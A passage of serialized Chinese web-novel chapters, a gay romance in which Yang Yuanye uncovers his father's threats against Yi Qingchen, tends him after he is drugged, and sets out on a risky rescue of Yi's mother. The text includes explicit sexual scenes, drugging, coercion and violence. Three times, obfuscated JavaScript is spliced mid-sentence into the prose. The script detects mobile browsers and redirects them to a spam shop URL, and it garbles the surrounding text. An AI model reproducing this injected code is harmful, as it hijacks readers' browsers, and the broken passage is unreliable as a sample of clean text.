陈大兴打量够了,坐进了窗边的单人沙发里,好整以暇地再次发号施令,“自己弄出来给我看。” 杨原野心头一颤,相比于出卖身体交欢,此刻这种直接的羞辱更让人难堪。 漆黑的镜面也变得不那么洁净了,仿佛彗星在银河中拖动出的一抹奶白色长尾。 陈大兴全程冷漠地看着,直到最后,才小有兴致地笑了笑。 “以前我总听你爸说起你,他最宝贝你这个儿子。我当年处处不如他,做生意做不过他,儿子也是个窝囊废,和你更是没法比。今天一见,还真是个好孩子……” 陈大兴站起身走到床边,拍了拍大腿。 杨原野咬了咬牙,昂着头,径直迈步走了过去,二话不说,坐在陈大兴的腿上。 “如今杨家败了,我爸的公司倒了,我也成了这个样子,陈叔,你赢了。” 杨原野拉住陈大兴的手,搭在自己的腰上,“如果这就是你想要赢的方式,那就来吧。” “呵,小崽子少给我来这套。”陈大兴一个反身把杨原野压在床上,捏着他的下巴说道,“我不吃激将法,我也不是什么光明正大的好人。我想做什么,只是因为我想。我要是不做,也不会是因为我怕。” “那你做啊,还等什么?”杨原野瞪着陈大兴,张嘴一口咬住他捏着自己下巴的一根手指,引得陈大兴倒抽一口凉气。 陈大兴抬起另一只手,给了杨原野一记响亮的耳光。 杨原野脸上顿时火辣辣的疼,却仍没松口。 “我不喜欢你这样会咬人的,我这个年纪,对驯服烈马没兴趣。可是替你爸教训教训儿子,我倒是可以代劳。” 听到陈大兴亲口说对自己没兴趣,决定赌一把。杨原野立刻把他的手指吐出来,趁机收起不驯,拿出事先想好的杀招:“叔,你放了我吧,看在我妈的份儿上。” 杨原野曾经隐约记得小时候有一次爸妈吵架,他偷听到他们几次提到陈大兴的名字,还有“后悔啊”“离婚”之类的。他不知道上一辈人到底发生了什么,今天他被困在这里,人为刀俎,我为鱼肉,他走投无路才会拿自己母亲来赌。 一直冷面冷情的男人忽然面色一凛,惊讶地问道:“你说什么?!” “如果我妈知道你对我做的这些,她会怎么想……你放了我吧,陈叔叔。” 陈大兴愣了好半天,半晌推开杨原野,坐起身来,自己披上了睡袍。杨原野见状赶紧坐起来,见床头摆着的烟盒,拿出一支递到陈大兴手上。陈大兴把烟叼在嘴里,杨原野把烟给他点着了。一缕白烟从鼻孔喷了出来,陈大兴长长地出了口气。 “小野,你老实告诉我,那个易卿尘是你什么人?” 杨原野立刻警惕起来。 “他能是我什么人啊,要不是中途出了岔子,我一早就把人给你送来了,免得我自己遭殃。” 陈大兴又深吸了一口烟,说道:“小兔崽子,你骗得了高飞,骗不了我。那个小歌手,你喜欢他?” 陈大兴既然这么说,应该不会去高飞那儿拆穿他。陈和高也不是一伙儿的,高飞对付易卿尘是因为楚家的恩怨,和陈大兴没关系。 杨原野在心里盘算一通后,索性承认了:“是,我喜欢他,喜欢很多年了。叔,你想要什么样的人都易如反掌,可是我只要他一个,无论如何我都会护着他。” “哦?喜欢很多年了?”陈大兴饶有兴致地侧头看着他,没想到杨金波的儿子居然是个情种。 “难道他就是当年被你爸打发走的那小子?” 什、什么?杨原野脑子嗡的一声。 当年易卿尘忽然离开京北,他一直觉得费解,重逢后易卿尘只是隐晦地说过一句他有苦衷。杨原野本就希望过去的不愉快赶紧翻篇儿,就一直没追问。如今听来,这背后竟和杨金波有关系? 杨原野装作很自然地接了话,“嗯,就是他。叔你也知道这事儿?你怎么知道的?” 陈大兴回忆了一下,说道:“说来也巧,你爸当年还是托我堂哥去调查的那事儿。我只知道有这么回事,不知道那小孩就是易卿尘。” “没想到我的一件小事,竟然劳动了这么多长辈。”杨原野继续套陈大兴的话。 “小事儿?”陈大兴用看顽童的眼神扫了一眼杨原野,说道,“当年你爸知道你搞同性恋,气得要死!在我们面前都抬不起头来。后来,趁你去台湾学音乐的时候,他亲自去找了那个易卿尘。谁知道好说歹说,那小子就是不同意离你远点,他说自己对你是单恋,你不知情,还说就想在你身边帮你做音乐,不会有非分之想。你爸那么大个人,愣是没说动人家。” “后来呢?”杨原野追问。 “后来你爸越想越气呗,不然呢?”陈大兴笑了笑,“看你那样儿,你还挺爱听的?” “嗯,您再跟我说说当年具体都发生什么了。” 杨金波已经垮台出国了,陈大兴自然也没什么顾虑,看杨原野一副好奇的模样,也不怕全告诉他了。 “后来,我堂哥发现易卿尘的养父刚死了,这孩子的亲妈在坐牢,还在牢里伤了人,对方家属正要追责。你爸知道后,直接去灵堂上找到了易卿尘,勒令他立刻离开京北,不许再见你,不然他妈在牢里伤人的事儿就会闹大。再后来,他就走了。我今天在电视里见他,长得真是俊,我随口夸了几句,高飞就主动说他能给我把人送来,我没想到这个易卿尘居然就是当年喜欢你的那孩子。” 一阵耳鸣袭来,杨原野觉得天旋地转,眼前发暗。这怎么可能呢?他怎么也没想到当年易卿尘是这样被赶走的。 和易卿尘刚刚重逢时的记忆还那么清晰,他记得他没有给易卿尘一点好脸色,还咬牙切齿地对易卿尘说自己这些年是多么恨他……那时觉得自己虽然过分,却也是易卿尘弃他而去应该承受的苦果。可谁知,错的竟是他自己。 易卿尘除了爱上了他,没有做错任何事,却一个人默默承受了所有的责难。 一瞬间杨原野的脑海里浮现出一幅画面,那是易卿尘被火锅烫伤眼睛那晚,易卿尘意识模糊地抱着他,被问起那些年在渝州的日子,他说,“阿野,我每天都想你,想了很久,我好怕你已经把我忘了。” 杨原野浑身发抖,他还以为那只是易卿尘意识不清时说的情话,假话。 那竟然是真的…… 不,他宁可那是假的。 …… 帝京公馆的房间内,月光在夜幕下泛着银亮的光,透过一大面窗户洒进浴室,成为满室唯一的光源。 易卿尘此刻正躺在浴缸里,一缸冰冷的凉水漫过他的身体,他在水下止不住地发抖。 那药的效力甚是厉害,仅仅是自|渎根本无法缓解分毫,反而扬汤止沸般让他体内的欲求更凶猛地引爆。那感觉,仿佛被一百只蚂蚁啮咬筋骨,直啃得腰眼儿酥麻胀痛,如一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚言心头一紧,望向易卿尘的眼睛。那双眼睛里没有一丝一毫的爱意,甚至没有温度,宛若一泓幽深绝望的潭水,微弱的余波写满了隐忍的惊惧。 他爱的原本是易卿尘那双星星一般明亮的眼睛,希望星星为他而闪烁,坠落的星星只是一块毫无生气的陨铁。 这真的是他想要的吗? 他到底在干什么…… 还没回过神来,楚言突然被人猛地推开,一个不稳栽倒在地。再抬头看去,杨原野已经二话不说把易卿尘从浴缸里抱了出来,他脱掉衬衫,把浑身滴水的人紧紧地裹住,抱进怀里。 “小尘别怕,我回来了!” 易卿尘像一根崩了太久而终于断掉的琴弦,趴在杨原野的肩头止不住地抽泣。 楚言从地上踉跄着站了起来,看着眼前那个在别人怀里颤抖呜咽的人——那人面对他时裹了严严实实的外壳,却在另一个人面前片甲不留。易卿尘的情绪只肯对另一人表露,他的爱和恨从来都不属于自己。他早就输了。 楚言默默地提上裤子、系上腰带,独自走了出去。 银白的月光照亮地板上的水洼,一路从浴室蔓延到主卧。 杨原野翻出柜子里的厚冬被把人裹起来,易卿尘蜷在他的怀里紧贴着他火热的胸膛。 “小尘,现在什么感觉?” “呃嗯……我……我感觉身上有蚂蚁在爬,有火在烧,没办法控制自己不发抖,我快不能呼吸了……好疼好热……” “高飞那个狗日的,我一定要找他算账!”杨原野低声咒骂,直把下唇咬出血痕,烧红了眼睛,他强压着情绪,垂首安抚怀里不停抽噎的人。 “我现在帮你,宝贝,我知道你很难受,忍一忍,疼就叫出来。” 95.095 约定 易卿尘从杨原野的怀抱里抬起一双湿漉漉的眼睛,带着歉意哑声说:“对不起,我、我刚刚差一点就和他……你会怪我吗?” “说什么傻话?就算真的发生了什么,也不是你的错,我绝不会那么想,也不许你自责。” 杨原野抬手温柔地扣住易卿尘的后脑勺,另一只手箍住他的腰肢,两人紧密地贴合在一起。唇落在易卿尘的额头、眼睛、鼻尖,最后吻上他喘息错乱的嘴唇。易卿尘乖巧地打开嘴巴,恋恋地回应着,渴求着,汲取着…… “……啊!啊……呃哈……” 像一头在漫野山火中受伤的小鹿,终于寻到一泓甘泉,脱力地倒卧在泉边,大口大口吮饮。甘泉在口腹中流淌,野火在身体里燃烧,凉的凉,烫的烫。 “乖,别咬自己,咬我。” 杨原野把手臂伸到易卿尘唇边,温柔地抚慰,结实的小臂很快现出细密的齿印。 额前垂着的头发有节律的轻晃,仿佛山间直照下来的夜色,易卿尘闭上眼睛,晕眩地坠入山风中。 一夜漫长的动乱。 当易卿尘再次睁开眼睛的时候,杨原野正在用手指玩弄他的长睫毛,那样子竟显得格外专心。阳光从背后洒下来,烤得他身上暖暖的,易卿尘伸了伸胳膊,用微哑的嗓音唤道: “阿野。” 杨原野侧过头来,“醒了?还难受吗?” 易卿尘摇了摇头,拉过杨原野的手臂枕在自己脖子下面,侧身对着他。昨晚本来要和杨原野好好谈谈的,却被人下了药,折腾了一晚,也没聊上。现在他清醒了,自是一刻也不想等了。 “我没事了。阿野,你有话要对我说吗?” 昨夜的惊险暗算,这几日的反常行为,那天和杨原野见面的神秘女人,来自竞争对手的大额汇款……易卿尘需要一个解释。杨原野知道即使易卿尘再怎么相信自己,可还是要知道真相。 “嗯,我知道你想问我什么。不过,我要先问你一个问题。”杨原野说。 “什么问题?” “我曾经问过你,今天还想再问一次,小尘,你当年为什么离开京北,离开我?” 易卿尘神色一惊,目光不自然地移开,翻了个身,面朝着天花板,磕绊地答道:“我、我那时年轻,想自己出去闯闯,也没准备好和你开始……” 杨原野伸过双手把易卿尘扳正,迫使他面对着自己,严肃道:“你还是骗我。是我爸,他欺负你,威胁你,用卑鄙的手段把你赶走的。你不是对我无情,你爱我,一直都在爱我。易卿尘,你为什么瞒着我?” “你……你是怎么知道的……”易卿尘满脸震惊之余,多年的委屈涌上来,一阵鼻酸,泪水越积越多,在眼眶里打转。 “你知道那四年我有多痛苦吗?我像个傻瓜一样被你扔掉,却没办法停止想你。我每周都去丞相胡同的老房子,躺在你的床上,闻着枕头上你留下的气息,夜里坐在门口的石墩上,等你回家。” 杨原野字字句句地说着,“那四年,我只做了一件事,就是等你。你不该骗我的……你为什么不相信,即使对方是我爸,我的选择仍然会是你。” 眼泪终于一颗一颗地滚下来,易卿尘一头扎进杨原野的怀里,无从诉说的心酸都涌了出来,濡湿了一大片前襟。良久,他缓缓抬起头,睫毛上仍沾着水珠。 “对不起阿野,我那时真的很懦弱。因为我的出生,易小雪的人生已经葬送了三十年,我不想她永远也走不出那监狱的大门。所以我妥协了……我那时唯一的希望就是你并没有多喜欢我,希望你很快就会把我忘记。可是后来的每一天,我都在害怕,怕你是不是真的把我忘了……我错了……” 杨原野低头吻掉他脸上的泪,心疼地看着怀里的人。 “我都明白了,当初不明白,如今我都懂了。因为一些原因,我们都会撒谎,会隐瞒,会替对方做决定,却不知道那些自以为是的决定会让人多么的担心,对方知道真相后又有多难受和自责。” 易卿尘抽了抽鼻子,哽咽着问,“所以,最近你又在瞒着我什么呢?” “是,我确实有事隐瞒了你。小尘,我们做个约定好不好?从今天起,你我之间不再有秘密。我会完全的信任你,把自己交给你,包括我所有阴暗的想法,疯狂的醋意,软弱的自我怀疑……你将拥有全部的我,我也接纳全部的你。不要再为了任何理由离我而去,我是真的、真的很爱你,我不能没有你…… 易卿尘,我们拉钩好吗?” 杨原野伸出小指,悬停在半空中等一个郑重的回应。 易卿尘咬了咬下唇,半天没有伸出手去。 “怎么……你,不愿意吗?” “阿野,在那之前,我还有一件事要向你坦白,那也是我骗过你的最后一件事了。” 不知为何,杨原野的心咯噔一下。 “还记得咱们‘第一次’的那晚吗?你也如同我昨晚那样,喝了不干净的东西。我答应帮你打电话叫‘上门|服务’,打了好几次都打不通,后来,我们就稀里糊涂地睡了……” “嗯,我记得……” 易卿尘吞了口唾沫,慢慢吐出藏了许久的秘密:“其实那天,是我故意按错电话号码的,我……从来都没想让别人碰你。” 杨原野捧起易卿尘泛红的脸,轻笑了一声,凑近他的耳边。他也有一半故事要讲,这样才能拼凑出事情的全貌。 “我也坦白好了,那不是什么’稀里糊涂’才有的第一次。其实那天的酒里什么也没有,有的只是我的蓄谋已久,是我,我想得到你,想要你。” “啊……你……” 原来在种种误会中,我们早已相爱了很久。 …… 又做了几次,直到易卿尘累得晕了过去。下午起身时窗外已经下起了小雨。 两人躺在床上,杨原野终于坦白说出了他和高飞正在谋划的事,全程听得易卿尘眉头紧锁。 按照原计划,这两天,高飞就会安排杨原野去北戴河接走易小雪。杨原野打算届时把易小雪接上,半路交给宗天天,再找个借口说易小雪半路跑掉了。 易卿尘并不赞成这么做,觉得这个计划十分危险。 “高飞那边的人一直在盯着疗养院,现在没有别的办法能在那伙人的眼皮底下把人转移了。”杨原野宽慰道,“放心吧,我到时候会很小心的,问题不大。” 看易卿尘还是愁眉不展、不太放心的模样,杨原野便提议起床去超市买菜,回家一起做晚饭。 最近的超市离家走路十五分钟,杨原野没开车,故意想让易卿尘走走路,呼吸一下新鲜空气,放松一下精神。 两人撑着一把黑色的伞,伞身不大,需要紧贴着走。雨丝朦胧,一路穿过街心花园,公园里没有什么人,索性连口罩也不用戴了。 杨原野见易卿尘不说话,便拿指头戳了戳他的脸,没话找话聊:“咱俩聊聊今后的家务分工吧,你都答应嫁给我了,这事儿就得讨论讨论了。” “欸?谁说我答应嫁给你了,我自己怎么不知道?” “你都和我拉钩了,那还不算?” “欸?”易卿尘侧头瞧他,“你还真能脑补,拉个钩就算结婚了,那你要是跳一跳,双脚腾空一秒钟,是不是就算会飞了?” “会飞有什么用,你不是还在地上吗?放心吧,老公不会撇下你飞走的。” 易卿尘嗔道:“真不要脸。那不如就由你包揽全部家务吧?” “行啊,”杨原野换了只手撑伞,腾出手来搂紧易卿尘,怕他肩头淋湿了,“做饭,擦地,洗衣服,洗完衣服再把小尘也洗干净,总之,老公什么都做,你现在笑一个好不好?” 易卿尘被他逗笑了,踮起脚尖,掩在伞下,偷偷亲了亲杨原野的脸颊。 超市的冷气开的太足,易卿尘想快点回去,可杨原野正左手拿着一根特宝龙尖椒,右手握着新绿美龙尖椒,左看右看,半天选不出来。杨原野放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665819|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下手里的尖椒,掏出手机,打开食谱软件,放大照片上的尖椒,又仔细和面前的比对。 “都可以啦,是牛角形的就可以吧?随便选一个。你这样左右来回反复看,好像在背一首诗啊。”易卿尘在一旁笑他小题大做。 杨原野咧起嘴乐,“易卿尘,你连嘲笑别人的话都这么好听。好了你别催我,你再给我点儿时间,秦叔以前做的‘尖椒干豆腐丝’,还有‘板栗烧鸡’简直一绝,我今儿必须完美复刻出来。” 易卿尘摇摇头,任由他在尖椒面前“背诗”。看着买菜的杨原野,他忽然感觉有点恍惚,好像他们已经这样生活了许多年,一个平凡的下雨的午后,和喜欢的人逛超市,张罗着晚饭。人间烟火,寻常琐事,最能给人脚踏实地的安全感。 雨停了,到了下班高峰期,路上行人多起来,易卿尘和杨原野都戴上了口罩,虽然不敢牵手,却还是肩挨着肩走在夕阳下的斑马线上,对面的交通灯嘟嘟嘟地读秒。 “彩虹!”易卿尘拉了拉杨原野的袖子,指着天边楼宇间的道虹桥,兴奋地说。 “我靠,好大的彩虹,这还是咱俩第一次一起看到彩虹吧?” 易卿尘点点头,他喜欢散步,看彩虹。可如果不是和阿野一起,这些事就只能被叫做“走路、天快黑了”。 在交通灯读秒结束前,两人走到了马路对面。杨原野思考着一会让到家到底应该先给鸡肉焯水,还是先切菜,一低头,忽然停下了脚步。 “小尘,你把手伸出来。” “嗯?干嘛?”易卿尘不明就里,却还是乖顺地摊开两个手掌。 “你没发现有什么不对吗?”杨原野问。 “没什么不对呀,”易卿尘看着自己空荡荡的手掌,思考片刻,忽然面色一红,“大街上就别牵手了吧?毕竟是俩男的,戴着口罩也能看出来性别。” 杨原野哈哈大笑,“傻子,你看咱们四手空空,刚买的东西忘在超市了!” “呀!还真是,那我们快回去吧!” “你别折腾了,就在这里等我,我很快就回来。” 又一阵人行道的嘟嘟读秒声响起,杨原野的背影混在远去的人流中,渐渐消失在易卿尘的视线里。 他站在马路的一头,看着路上来来往往的行人,有接了孩子放学的老人,有衣着时髦的情侣,有行色匆匆的秃顶大叔......匆忙的城市里,大家此刻的目的地都是回家。 很快,杨原野小跑出现在马路对面,和他对上视线,举起手中的两个白色环保袋,虽然带着口罩,但易卿尘也知道,杨原野在冲他笑。 一辆又一辆汽车从他们中间驶过,南来北往,时不时地阻隔着他看杨原野的视线,他靠视觉暂留却让他一直可以看见他。一辆庞大的公交车慢慢在易卿尘面前停下,落客上客,行人匆匆,公交车也匆匆地开走了。 对面的人不见了。 他的视觉暂留失效了,他看不见杨原野了。对面的人头越攒越多,男女老少,高矮胖瘦,却没有一个是杨原野。车子从他眼前刷刷地过,黄昏时分的喧嚣往往带着归家的急切。易卿尘此刻又急又切,颇像个站在村口等着丈夫回家的小媳妇,等得不见人影,左顾右盼,急到快掉出泪来。 “小尘!” 身后有人拍他的肩。他转过头,是那双黑亮的眼睛。 “你怎么过来的?”易卿尘乱跳的心归了位。 杨原野好不容易才喘匀了一口气,指着不远处的一座天桥说:“我从那儿跑过来的,谁教我等不及要见你嘛,红绿灯太慢了。” 易卿尘轻舒了一口气,伸手想从杨原野手里接过一个塑料袋,可杨原野不给。 “你不给我,我、我怎么牵你的手?”易卿尘小声说道。 杨原野眼睛一亮,从兜里掏出两只口罩,都戴好后又把两大袋子东西倒到一只手上,腾出另一只手牵住了易卿尘。 掌心温暖有力,语气自然宠溺,“走吧,我们回家。” 96.096 愿望 杨原野在厨房一通鼓捣,他的厨艺属于“能吃,毒不死”的水平。这些年自己生活,学会了做简单的饭菜,可都是唬弄着来,尖椒炒干豆腐他还能应付,板栗烧鸡就有点儿为难他了。 去壳的板栗放水里煮五分钟,余油烧热炒鸡块儿,再调味……杨原野一边对照菜谱,一边期望自己长出八只手来。 易卿尘洗完菜后就没被分配什么任务了,一直拄着脑袋在吧台看着杨原野乒乒乓乓。 “接下来我做什么呀?” 杨原野想了半天,忽然想到了什么,“还真有件事儿,只有你能做。” “什么?说吧!” 杨原野冲他招招手,“过来。” 易卿尘走了过去,杨原野一指墙壁,“你看。” 金色的夕阳透过彩绘的厨房玻璃窗,在白墙上投射出一道多彩的光影。杨原野往前一步,拉近了他和易卿尘之间的距离,两人的剪影被那道彩色的影子连接起来,如梦似幻。 易卿尘睁大了眼睛,影子上的睫毛也跟着闪了闪,“这是……” “这是世界上最小的一道彩虹——” 杨原野俯下身,凑近了易卿尘愈加绯红的脸颊,“就在你的眼睛里。” 墙上,两人的影子吻在一起,被虹彩染成了迷人的妃色。 …… 米饭香喷喷地冒着热气,桌上除了尖椒炒干豆腐丝,板栗烧鸡,杨原野还假模假式地搞了两个凉菜,一盘凉拌干豆腐鸡丝,一碟双汇火腿肠。硬凑出来四道菜,往桌上一摆,气势一下子就上来了。 “快来尝尝我的手艺怎么样?”杨原野一副很中二,急于被表扬的神情。 易卿尘夹了一块烧鸡,做品鉴状,眯起眼睛说:“嗯~真不错,可以出去卖了。” “我出去卖,卖了钱回来给你乱花,你是当代陈世美吗?” “我哪有那么恶劣?”易卿尘反驳道,“放心吧,你尽管去卖,我不会乱花的。” 屋里的电视开着,放着明星美食综艺,俊男美女在异国他乡开饭店。两人边看电视,边吃晚饭,综艺里不知道是谁说了一句:“一生两人,三餐四季,就是我的最高理想。” 饭后,易卿尘自告奋勇洗碗,其实就是把碗放进洗碗机。杨原野在阳台抽烟,猩红一丝火光在指尖明灭。易卿尘远远地看着杨原野在低头摆弄手机,想起他在做的危险交易,心中又升起一阵不安。 悄悄从身后走近,冷不防地把杨原野的手机抽了出来,“突击检查。” “喂!还给我。”杨原野抬手去追,“我还没写完。” 屏幕上是杨原野的备忘录,最新的一条写着:“喜欢鸡翅膀,不喜欢鸡胸肉,米饭要再多加些水,胡椒少放,他会流鼻涕……” 易卿尘心头暖烘烘的,把手机递还给杨原野,趴在阳台的栏杆上看着夜色,不自觉开始好奇:“阿野,你是从什么时候开始喜欢我的?” 一个简单的问题问住了杨原野。杨原野伸出手,从背后搂着他,半天没说话,好像在想什么世纪难题。 “怎么这都不知道?” “我……我刚才想了很多个答案,又好像都不对,而且你听了会生气。” 易卿尘好奇地抬头看,“那你说给我听听,我不生气。” 杨原野凑近他耳边,“什么时候喜欢上你的,嗯,应该是我一见你就硬了的时候吧……” “……去你的,你好好说。” “我是在好好说呀。那年,你站在二楼窗前对我笑,我就想撬开你的嘴巴,尝尝你口水的味道;你坐在榻上弹琴,我就想把你按倒,撕烂你的衣服;你喝了酒脸红着看我,就想哄你上床,把你压榨出高音……所有的这些时刻,我都清楚地知道我喜欢你——我的狼子野心,膨胀的欲望就是证明。” 情欲情欲,情本来就和欲分不开。能够在这方面对杨原野有吸引力,易卿尘觉得很开心。 “可是——” “可是什么?” “可是,你教我弹钢琴,手指碰到我的手指,我却只顾埋头看乐谱,怕自己弹错音被你瞧不起;你坐在我摩托车后座,手臂环住我的腰,我却在想你今天为什么搂这么紧,是不是什么事让你不开心了;《Mr.Y》专辑破十万那天,我从台上走下来,你拥抱了我,而我却忘了回抱你,当时只觉得站在那台上的人也可以是你,我也想看你花团锦簇,枝繁叶茂,梦想成真。” “每每这样的时刻,我都知道,我不喜欢你,小尘,我是爱你。爱你,让我变得小心翼翼,不敢放肆,只想做一条小狗,任你差遣。” “所以,你问我是什么时候喜欢上你的,我也不知道。也许那年暴雨,隔着出租车车窗第一次看见你时,你就已经在我心里了。” 易卿尘的眼眶发烫,忽然一阵鼻酸,他只是随便一问,没想到会得到这样的答案。 还有什么答案能比这个更好?好像是上天安排你来遇见我。 还有什么答案能比这个更坏?如果有天你不再爱我,我一定一定会疯掉。 易卿尘堪堪忍住眼泪,轻轻勾住杨原野的小指,说道:“阿野,一辈子不够,下辈子我也一定会认出你,再把你要回来。” 杨原野点点头:“我很好认的,一见你就笑的那个,就是了。” “你什么时候这么会说甜言蜜语了?” “哈哈,”杨原野用鼻尖蹭了蹭他的脸颊,“嫌我肉麻那我以后少说点儿。” “你敢。” …… 一个吻慢慢升温,衣服散落满地,从阳台一路到卧室。正吻得意乱情迷,杨原野的手机忽然响了起来。 来电显示:高飞。 杨原野倾身越过易卿尘,从床头柜上抓起手机,点开了免提。说好的,他们之间不会再有秘密。 高飞显得有些急躁:“说话方便吗?” “嗯,方便,你说。” “老板发话了,北戴河那事儿,你今晚就出发吧。” 易卿尘紧张地抓紧了杨原野的胳膊,他轻轻拍抚着易卿尘的手背,他知道这件事情让易卿尘有多么不安。 “今晚?为了点儿钱,我特么昨晚被老东西折腾到快死了,去不了。” “去不了?”高飞一听急了,拔高了声调,“再不去就来不及了!你知道昨天易卿尘被谁带走了吗?” “谁?” “他老情人,楚言啊,谁。” 杨原野不屑地一抬眉,对着易卿尘的屁股掐了一把,易卿尘浑身一抖,捂住嘴巴不敢叫出声来,表情无辜地瞅着他。 “所以呢?” “下药的事迟早会查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672647|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到我头上,上头怕打草惊蛇,对方再把易小雪给转移了,所以你现在就出发吧,再等下去黄花菜都凉了。我的人会在京西高速收费站那儿等你,跟你一块儿去。他穿一身迷彩服,戴一顶灰色鸭舌帽,你到了就看见了。做事小心点儿,事关重大,别出乱子。” “行吧,我真是上了贼船了,唉。” “杨老师,昨晚的事儿对不住,等你回来,我给你找几个小嫩模好好伺候你,算是赔不是。” “那先谢了。” 挂了电话,杨原野立马下床,捡起地上的衣服往身上穿。正系着扣子,就被人从背后紧紧抱住了。 “阿野,你别去,我心慌。” 杨原野把人拉到身前,搂在怀中,轻轻捋顺着易卿尘的后背,“没事的,相信我,我很快就回来。” 易卿尘愁眉不展,提议道,“我现在找个别人把我妈她们带走,你去了找不到人,他们就会让你回来了吧。” “傻瓜,那个疗养院早就被人盯住了。如果你现在把人转移了,他们真可能狗急跳墙。然后绑架?撞车?我不敢想他们会怎么做。现在只有我可以顺理成章地把她们接出来。我必须得去。” “可是高飞说他的人会跟你一起去,摆明了就是监视你,你到时候怎么在他们眼皮子底下行动呢?我越想越害怕,阿野,不如我们报警吧。” 杨原野摸了摸易卿尘的发顶,安慰道:“我到时候会见机行事,必要时我会报警的。一会儿你给宗天天打个电话,告诉他我出门了,让他依计划行事。小尘你乖乖在家等我,万一我出了什么事——” “住嘴!”易卿尘惊慌地用手捂住他的嘴,“没有万一,杨原野,绝对不可以有万一。我在乎我妈的安全,也同样在乎你的安全。答应我,你们都要平安。” 杨原野捉起他的手,郑重道,“好,我答应你。” 易卿尘垂眸想了想,转身跑出了卧室,不一会儿又回来了。他把手上的纸和笔递给杨原野,“你写下来,保证不会出事。” 杨原野不禁笑起来,“小学生才写保证书吧?” 见易卿尘一脸严肃,一副不容拒绝的样子,杨原野无奈地接过笔,低头在纸上沙沙地写了起来。写完,杨原野三五下折了一架纸飞机,嗖—— 纸飞机在空中划出一道弧线,降落在了书架最上面一层。 “干嘛?那么高,我都够不着了。” 易卿尘气急败坏,站在椅子上准备去够,被杨原野一把抱了下来。 “这是我给你的锦囊,轻易不能打开。”杨原野捧着他的脸,狡黠地一笑,“宝宝,你早点睡觉,休息好了才能准备比赛,我还等着看你拿第一名呢。” “阿野,”易卿尘踮起脚尖,主动吻上了杨原野的嘴唇,“早点回家,我等你。” …… 夜幕中,一辆车子疾驰在公路上,沿京津国道出了收费站,停在路边,打起了双闪。 一道人影闪现,穿迷彩服的男人拉开车门。杨原野侧头一看,那人摘下帽子,俯身低头坐进副驾驶,先于那一张脸进入视线的,是他头上的三个旋。 呵,冤家路窄。 “那天打我打得过瘾吗?” 侯闯说罢冲杨原野勾了勾唇,眼底阴森诡谲,危险紧张的情绪浓烈到影响了车厢内的环境,一切静得可怕。 97.097 深海 “那天打我打得过瘾吗?” 侯闯那天被人用黑塑料袋套着脑袋一通暴打,一周没下来床,牙齿也掉了两颗。 杨原野懒倦地清了清嗓子,打破沉寂反问道: “你谁啊?我认识你吗?” “甭跟我装傻,你刚替易沉冤报仇打了我,现在又来绑架易沉冤的亲妈,”侯闯死盯住杨原野的脸,像在看一个叛徒,“姓杨的,你在耍什么花样?” 杨原野一脸的茫然,搔了搔头,“兄弟,你这人挺有意思,说的话我都听不懂。易沉冤?……哦我想起来了,你是小卖店的那个老板!我说你怎么看着有点儿眼熟。但我可没打你啊,我妈从小就教育我不许打架,你肯定是误会了。” 侯闯从兜里掏出一把弹簧刀,银色的刀刃映出一道寒光。 “飞哥让我看着你,”刀锋一转,直抵杨原野的咽喉,“下车,我来开。” 杨原野神色一凛,举起双手作投降状,用戏谑的语气说道:“你开就你开,我正还嫌累呢,有话好好说,动什么刀啊,怪吓人的……” 侯闯开着车,到了北戴河“光阴里”疗养院时,邮箱已经快要见底。杨原野倚着副驾驶的车窗,懒洋洋地睁开眼睛,抻了抻胳膊,问道:“到了吗?我都睡懵了。” 侯闯一路高度警惕,外加长途开车后一脸疲惫,他烦躁地说:“再过俩小时就天亮了,到时候我们就上去把人接出来。” 杨原野看了一眼手表,打了个哈欠,“成,那我再睡一会儿,你也眯一会儿。” 说完,杨原野换了个舒服的姿势,接着睡了。侯闯自然是不敢睡,掏出手机玩游戏,困得实在够呛,就点了支烟,边玩边抽。 天空泛起了鱼肚白,太阳慢慢从海平面升起来,晨光中,已经有老人走出来晨练。 杨原野和侯闯上楼去接人。门开之后,姨妈瞧见满眼红血丝得侯闯,吓得往后退了两步,半天没说出话来。 “厕所在哪儿?” “那、那边……”姨妈哆哆嗦嗦地答道。 侯闯也不换鞋,阴着个脸进了厕所。 姨妈抓着杨原野的胳膊问道:“这人谁啊?咋这么吓人?” “别怕,他就是个开车的。” “噢……脸上那么大一个疤,看着就不像好人。”姨妈惊魂未定,小声嘀咕,“小野啊,昨天晚上小尘给我打电话了,说你会来接我们,让我俩听你安排。我俩也没啥行李,都准备好了,我这就去把小尘他妈叫出来,咱们走吧。” “好,阿姨,行李都给我就行。” 一行四人上了车,还是侯闯开车,杨原野坐副驾。开着开着,天空渐渐乌云密布,不一会儿又下起了雨来。 雨声催眠,后座的两个老太太先睡着了,侯闯再一扭头,杨原野也栽歪着开始打呼噜。 “干!没想到还是个懒鬼。”侯闯暗骂一声,使劲掐了掐自己的虎口提神。 